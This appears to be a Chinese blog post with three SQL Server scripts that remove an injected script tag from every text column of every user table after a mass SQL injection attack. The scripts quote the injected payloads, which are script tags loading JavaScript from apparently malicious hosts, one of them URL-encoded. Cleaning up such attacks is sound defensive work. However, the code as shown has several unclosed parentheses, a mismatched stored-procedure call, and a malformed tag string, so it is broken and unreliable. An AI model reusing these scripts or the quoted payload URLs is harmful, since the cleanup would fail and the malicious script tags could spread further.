SQL 數據庫 批量刪除 注入的腳本

 

 

 

 

--sql 2000解決方法
DECLARE @fieldtype sysname
SET @fieldtype='varchar'

--刪除處理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME

(o.name)

 

+N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
   
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
   
AND c.xusertype=t.xusertype
   
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'

 

 

 

--sql 2005 解決方法1
declare  @t  varchar(255),@c  varchar(255
declare  table_cursor  cursor  for 
select a.name,b.name from  sysobjects  a,syscolumns  b 
where  a.iD=b.iD  AnD  a.xtype='u' 
AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167
declare @str varchar(500)
--這裏是你要替換的字符
set @str='<script_src=http://ucmal.com/0.js> </script>'
open  table_cursor  fetch  next  from  table_cursor 
into  @t,@c  while(@@fetch_status=0
begin     
   
exec('update  [' + @t + ']  set  [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')     
   
fetch  next  from  table_cursor  into  @t,@c 
end 
close  table_cursor  deallocate  table_cursor;

 

 

--sql 2005 解決方法2
declare @sql varchar(max)
set @sql='
declare @sql varchar(max)
set @sql=
''update  ? set ''
select @sql=@sql+name+
''=replace(cast(''+name+'' as varchar(max)),''''<script src=http://3god.ne%54/c.js> </script>'''',''''''''),''
from syscolumns where id=object_id(
''?'')
and xtype in (35,99,167,175,231,239)
set @sql=left(@sql,len(@sql)-1)+
'' from ?''
exec(@sql)
'
 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章